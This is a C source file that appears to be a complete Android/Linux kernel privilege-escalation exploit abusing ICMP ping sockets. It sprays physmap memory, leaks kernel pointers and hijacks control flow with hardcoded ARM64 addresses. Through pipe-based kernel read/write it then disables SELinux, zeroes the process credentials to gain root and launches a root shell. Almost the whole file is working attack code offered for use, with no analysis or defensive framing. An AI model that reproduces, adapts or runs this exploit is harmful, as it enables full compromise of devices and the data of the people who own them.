#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <limits.h>
#include <signal.h>
#include <string.h>
#include <time.h>
#include <pthread.h>
#include <sys/wait.h>
#include <sys/sysinfo.h>
#include <sys/types.h>
#include <sys/mman.h>
#include <sys/socket.h>
#include <linux/in.h>
#include <linux/sockios.h>


#define PAGE_SIZE			  4096
#define SIOCGSTAMPNS 			  0x8907
#define MAGIC_VALUE 			  0x4B5F5F4B
#define OOM_DISABLE                       (-100)
#define NSEC_PER_SEC                      1000000000

#define STATUS_SUCCESS                    0
#define STATUS_FAILURE                    -1  
#define MAX_PHYSMAP_SIZE                  128*1024*1024
#define MAX_PATH                          0x100
#define MAX_PHYSMAP_SPRAY_PROCESS         6
#define MAX_VULTRIG_SOCKS_COUNT           4000
#define MAX_NULLMAP_SIZE                  (PAGE_SIZE * 4)


int   vultrig_socks[MAX_VULTRIG_SOCKS_COUNT];
void* physmap_spray_pages[(MAX_PHYSMAP_SIZE / PAGE_SIZE) * MAX_PHYSMAP_SPRAY_PROCESS];
int   physmap_spray_pages_count;


static int
maximize_fd_limit(void)
{
  struct rlimit rlim;
  int ret;

  ret = getrlimit(RLIMIT_NOFILE, &rlim);
  if (ret != 0) {
    return -1;
  }

  rlim.rlim_cur = rlim.rlim_max;
  setrlimit(RLIMIT_NOFILE, &rlim);

  ret = getrlimit(RLIMIT_NOFILE, &rlim);
  if (ret != 0) {
    return -1;
  }

  return rlim.rlim_cur;
}



int spray_nofork(unsigned int size)
{

  void*       mapped;
  void*       mapped_page;
  int         ret, i;

  mapped = mmap(NULL, size , PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_POPULATE, -1, 0);
  if(MAP_FAILED == mapped)
  {
    printf("[*] mmap fail.\n");
    exit(-1);
  }


  for(i=0; i<size/PAGE_SIZE; i++)
  {
      memset((void *)((char *)mapped + PAGE_SIZE * i), 0x41, PAGE_SIZE);  
      mapped_page = (void *)((char *)mapped + PAGE_SIZE * i);
      
      /*
        to avoid 32bit exploit crash in inet_compat_ioctl
        ROM:FFFFFFC0003FE2CC                 LDR             X3, [X0,#0x28]             ;X0 points to aligned-page controlled by attacker 
        ROM:FFFFFFC0003FE2D0                 LDR             X3, [X3,#0x60]             
        ROM:FFFFFFC0003FE2D4                 CBZ             X3, loc_FFFFFFC0003FE2E4   ;if X3!=0 it will be used as function pointer
        ROM:FFFFFFC0003FE2D8                 BLR             X3
      */
      //*(unsigned long *)((char *)mapped_page + 0x28)  = mapped_page;
      //*(unsigned long *)((char *)mapped_page + 0x60)  = 0;
      /*
        info leak trick mentioned in Xu Wen's paper, a magic value will be read in sock_get_timestampns
        ROM:FFFFFFC000360B30                 LDR             X0, [X19,#0x1D8]           ;X19 points to aligned-page controlled by attacker
        ROM:FFFFFFC000360B34                 BL              ns_to_timespec
      */
      *(unsigned long *)((char *)mapped_page + 0x1D8)  = MAGIC_VALUE + physmap_spray_pages_count;
      /*ret = mlock(mapped_page, PAGE_SIZE);
      if(-1 == ret)
      {
          perror("[*] lock the mapped page fail");
          return -1;
      }*/

      physmap_spray_pages[physmap_spray_pages_count]  =  mapped_page;
      physmap_spray_pages_count++;
  }
  return 0;
}



int kernel_read8(void* kernel_addr,  unsigned long* value)
{
    int pipefd[2];
 
    if(-1 == pipe(pipefd))
    {
        printf("[*] create dual pipe fail.\n");
        return -1;
    }
 
 
    if(-1 == write(pipefd[1], kernel_addr, 8))
    {
        perror("[*] write pipe fail.");
        return -1;
    }
 
    if(0 == read(pipefd[0], value, 8))
    {
        perror("[*] read piple fail.");
        return -1;
    }
 
    return 0;
}


int kernel_read4(void* kernel_addr,  unsigned int* value)
{
    int pipefd[2];
 
    if(-1 == pipe(pipefd))
    {
        printf("[*] create dual pipe fail.\n");
        return -1;
    }
 
 
    if(-1 == write(pipefd[1], kernel_addr, 4))
    {
        perror("[*] write pipe fail.");
        return -1;
    }
 
    if(0 == read(pipefd[0], value, 4))
    {
        perror("[*] read piple fail.");
        return -1;
    }
 
    return 0;
}
 
 
int kernel_write8(void* kernel_addr, unsigned long* value)
{
 
    int pipefd[2];
 
    if(-1 == pipe(pipefd))
    {
        printf("[*] create dual pipe fail.\n");
        return -1;
    }
 
 
    if(-1 == write(pipefd[1], value, 8))
    {
        perror("[*] write pipe fail.");
        return -1;
    }
 
    if(0 == read(pipefd[0], kernel_addr, 8))
    {
        perror("[*] read piple fail.");
        return -1;
    }
 
    return 0;
}


int kernel_write4(void* kernel_addr, unsigned int* value)
{
 
    int pipefd[2];
 
    if(-1 == pipe(pipefd))
    {
        printf("[*] create dual pipe fail.\n");
        return -1;
    }
 
 
    if(-1 == write(pipefd[1], value, 4))
    {
        perror("[*] write pipe fail.");
        return -1;
    }
 
    if(0 == read(pipefd[0], kernel_addr, 4))
    {
        perror("[*] read piple fail.");
        return -1;
    }
 
    return 0;
}


int search_exploitable_socket(int* index, void** payload)
{
    struct    timespec time;
    uint64_t  value;
    void*     page     =  NULL;
    int       j        =  0;
    int       exp_sock = -1;
    int       got      =  0;

    *payload  = NULL;
    do
    {
        exp_sock = vultrig_socks[*index];
        memset(&time, 0, sizeof(time));
        ioctl(exp_sock, SIOCGSTAMPNS, &time);
        /*
            ts.tv_sec = div_s64_rem(nsec, NSEC_PER_SEC, &rem);
            if (unlikely(rem < 0)) {
             ts.tv_sec--;
              rem += NSEC_PER_SEC;
            }
            ts.tv_nsec = rem;
        */
        value = ((uint64_t)time.tv_sec * NSEC_PER_SEC) + time.tv_nsec;
        for(j=0;  j<physmap_spray_pages_count; j++)
        {
            page = physmap_spray_pages[j];
            if(value == *(unsigned long *)((char *)page + 0x1D8))
            {
                printf("[*] magic:%p\n", value);
                got      = 1;
                *payload = page;
                break;
            }
        }
        *index = *index + 1;
    }
    while(!got && *index < MAX_VULTRIG_SOCKS_COUNT);

    if(got == 0)
    {
        return -1;
    }
    else
    {
        return exp_sock;
    }
}



int main() {
	pid_t	  physmap_spray_children[MAX_PHYSMAP_SPRAY_PROCESS];
	int 	  i, ret, j, exp_sock, exp_sock_index;
	unsigned long  data8;
	unsigned int   data4;
	void*     payload;
	void*     cred;
	void*     page;
	void*     task;
	void*     files;
	void*     fdt;

	struct sockaddr addr1 = { .sa_family = AF_INET 	 };
	struct sockaddr addr2 = { .sa_family = AF_UNSPEC };


	if(-1 == maximize_fd_limit())
 	 {
      		perror("[*] maximize socket limit fail");
      		exit(-1);
  	 }

	
	for(i=0; i<MAX_VULTRIG_SOCKS_COUNT; i++)
	{
		vultrig_socks[i] = socket(AF_INET, SOCK_DGRAM, IPPROTO_ICMP);
		if(-1 == vultrig_socks[i])
		{
			perror("[-] create vultrig socket fail.\n");
			exit(-1);
		}

		ret = connect(vultrig_socks[i], &addr1, sizeof(addr1));
		if(-1 == ret)
		{
			perror("[-] create vultrig socket fail.\n");
			exit(-1);
		}
	}
	
	system("echo 4096 > /proc/sys/vm/mmap_min_addr");
	void* user_mm = mmap(PAGE_SIZE, MAX_NULLMAP_SIZE, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE| MAP_FIXED |MAP_ANONYMOUS, -1, 0);
	if(MAP_FAILED == user_mm)
	{
	      perror("[-] mmap NULL fail");
	      exit(-1);
	}

	for(i=0; i<MAX_NULLMAP_SIZE/PAGE_SIZE; i++)
	{
	     memset((char *)user_mm + PAGE_SIZE * i, 0x90, PAGE_SIZE);
	}
  
	for(i=0; i<MAX_VULTRIG_SOCKS_COUNT; i++)
	{
		ret = connect(vultrig_socks[i], &addr2, sizeof(addr2));
		if(-1 == ret)
		{
			perror("[-] create vultrig socket fail");
			exit(-1);
		}

		ret = connect(vultrig_socks[i], &addr2, sizeof(addr2));
		if(-1 == ret)
		{
			perror("[-] connect vultrig socket fail");
			exit(-1);
		}
	}

	printf("[*] physmap spray begin.\n");
  	memset(physmap_spray_pages,    0,   sizeof(physmap_spray_pages));
	memset(physmap_spray_children, 0, 	sizeof(physmap_spray_children));
  	physmap_spray_pages_count   =  0;
	for(i=0; i<MAX_PHYSMAP_SPRAY_PROCESS; i++)
	{
		
	    if(-1 == spray_nofork(MAX_PHYSMAP_SIZE))
	    {
	      printf("[*] physmap spray fail.\n");
	      return -1;
	    }
	}

	  printf("[*] physmap spray done.\n");
  
	  exp_sock_index = MAX_VULTRIG_SOCKS_COUNT / 2;
  	  exp_sock = search_exploitable_socket(&exp_sock_index, &payload);
	  if(-1 == exp_sock)
	  {
	      printf("[*] can't search exploitable socket.\n");
	      return -1;
	  }

	  /*
	    to avoid 64bit exp crash here
	    ROM:FFFFFFC00040250C  LDR             X1, [X0,#0x290]
	    ROM:FFFFFFC000402510  CBZ             X1, loc_FFFFFFC000402590
	   */
	   *(unsigned long *)((char *)payload + 0x290)  = 0;
	   /*
	    hijack PC here
	    ROM:FFFFFFC0003FEA24                 MOV             X0, X19
	    ROM:FFFFFFC0003FEA28                 LDR             X2, [X19,#0x28]
	    ROM:FFFFFFC0003FEA2C                 LDR             X2, [X2]
	    ROM:FFFFFFC0003FEA30                 BLR             X2    
	   */

	   /*
	    call kernel_setsockopt to set addr_limit 0xFFFFFFFFFFFFFFFF

	    ROM:FFFFFFC00035D788                 STP             X29, X30, [SP,#-0x20+var_s0]!
	    ROM:FFFFFFC00035D78C                 CMP             W1, #1
	    ROM:FFFFFFC00035D790                 MOV             X5, SP
	    ROM:FFFFFFC00035D794                 MOV             X29, SP
	    ROM:FFFFFFC00035D798                 STP             X19, X20, [SP,#var_s10]
	    ROM:FFFFFFC00035D79C                 AND             X19, X5, #0xFFFFFFFFFFFFC000
	    ROM:FFFFFFC00035D7A0                 MOV             X5, #0xFFFFFFFFFFFFFFFF
	    ROM:FFFFFFC00035D7A4                 LDR             X20, [X19,#8]
	    ROM:FFFFFFC00035D7A8                 STR             X5, [X19,#8]
	    ROM:FFFFFFC00035D7AC                 B.EQ            loc_FFFFFFC00035D7CC
	    ROM:FFFFFFC00035D7B0                 LDR             X5, [X0,#0x28]
	    ROM:FFFFFFC00035D7B4                 LDR             X5, [X5,#0x68]
	    ROM:FFFFFFC00035D7B8                 BLR             X5
	    ROM:FFFFFFC00035D7BC                 STR             X20, [X19,#8]
	    ROM:FFFFFFC00035D7C0                 LDP             X19, X20, [SP,#var_s10]
	    ROM:FFFFFFC00035D7C4                 LDP             X29, X30, [SP+var_s0],#0x20
	    ROM:FFFFFFC00035D7C8                 RET

	   */
	   *(unsigned long *)((char *)payload + 0x28)  = (unsigned long)payload;
	   *(unsigned long *)((char *)payload)         = (unsigned long)0xFFFFFFC00035D788;
	   *(unsigned long *)((char *)payload + 0x68)  = (unsigned long)0xFFFFFFC00035D7C0;
	   close(exp_sock);

	   printf("[*] now we can R/W kernel address space like a boss.\n");
	   /*now we can RW kernel address spcae like a boss.*/

	   /*
	      overwrite the global variable mmap_min_addr to 0, then we can mmap NULL in user-mode 
	   */
	   data8 = 0; 
	   kernel_write8((void *)0xffffffc000652148, &data8);
	   user_mm = mmap(NULL, PAGE_SIZE, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE| MAP_FIXED |MAP_ANONYMOUS, -1, 0);
	   if(MAP_FAILED == user_mm)
	   {
	      perror("[*] mmap NULL fail");
	      return -1;
	   }

	   /*
	      overwirte selinux_enforcing to disable selinux
	   */
	   data4 = 0;
	   kernel_write4((void *)0xffffffc00065399c, &data4);
	   printf("[*] selinux disabled.\n");


	   exp_sock = -1;
	   exp_sock_index = exp_sock_index + 1;
	   exp_sock = search_exploitable_socket(&exp_sock_index, &payload);
	   if(-1 == exp_sock)
	   {
	      printf("[*] can't search exploitable socket.\n");
	      return -1;
	   }

	   /*
	      when PC is hijacked, X1 is 0. so we can leak task_struct pointer in 0x0000000000000018

	      ROM:FFFFFFC0004AA518                 MOV             X2, SP
	      ROM:FFFFFFC0004AA51C                 AND             X2, X2, #0xFFFFFFFFFFFFC000
	      ROM:FFFFFFC0004AA520                 LDR             X2, [X2,#0x10]
	      ROM:FFFFFFC0004AA524                 STR             X2, [X1,#0x18]
	      ROM:FFFFFFC0004AA528                 RET
	   */
	   *(unsigned long *)((char *)payload + 0x290) = 0;
	   *(unsigned long *)((char *)payload + 0x28)  = (unsigned long)payload;
	   *(unsigned long *)((char *)payload)         = (unsigned long)0xFFFFFFC0004AA518;
	   close(exp_sock);


	   /*
	      overwrite task_struct->cred to gain root privilege
	   */
	   task = NULL;
	   task = (void *)*(unsigned long *)((char *)user_mm + 0x18);
	   printf("[*] task:%p\n", task); 

	   cred = NULL;
	   kernel_read8((char *)task + 0x398, &cred);
	   printf("[*] cred:%p\n", cred);

	   data4 = 0;
	   kernel_write4((char *)cred +  4,  &data4);
	   kernel_write4((char *)cred +  8,  &data4);
	   kernel_write4((char *)cred + 12,  &data4);
	   kernel_write4((char *)cred + 16,  &data4);
	   kernel_write4((char *)cred + 20,  &data4);
	   kernel_write4((char *)cred + 24,  &data4);
	   kernel_write4((char *)cred + 28,  &data4);
	   kernel_write4((char *)cred + 32,  &data4);

	   /*
	      cleanup to avoid crash. overwirte task_struct->files->fdt->max_fds to 0
	   */

	   kernel_read8((char *)task + 0x788, &files);
	   printf("[*] files:%p\n", files);

	   kernel_read8((char *)files + 8, &fdt);
	   printf("[*] fdt:%p\n", fdt);

	   data4 = 0;
	   kernel_write4(fdt, &data4);


	  if(getuid() == 0)
	  {
	      printf("[*] congrats, enjoy your root shell.\n");
	      system("/system/bin/sh");
	  }
	  else
	  {
	    printf("[*] Oops, you'd better have a cup of tea and try again:(\n");
	  }
  


	return 0;
}

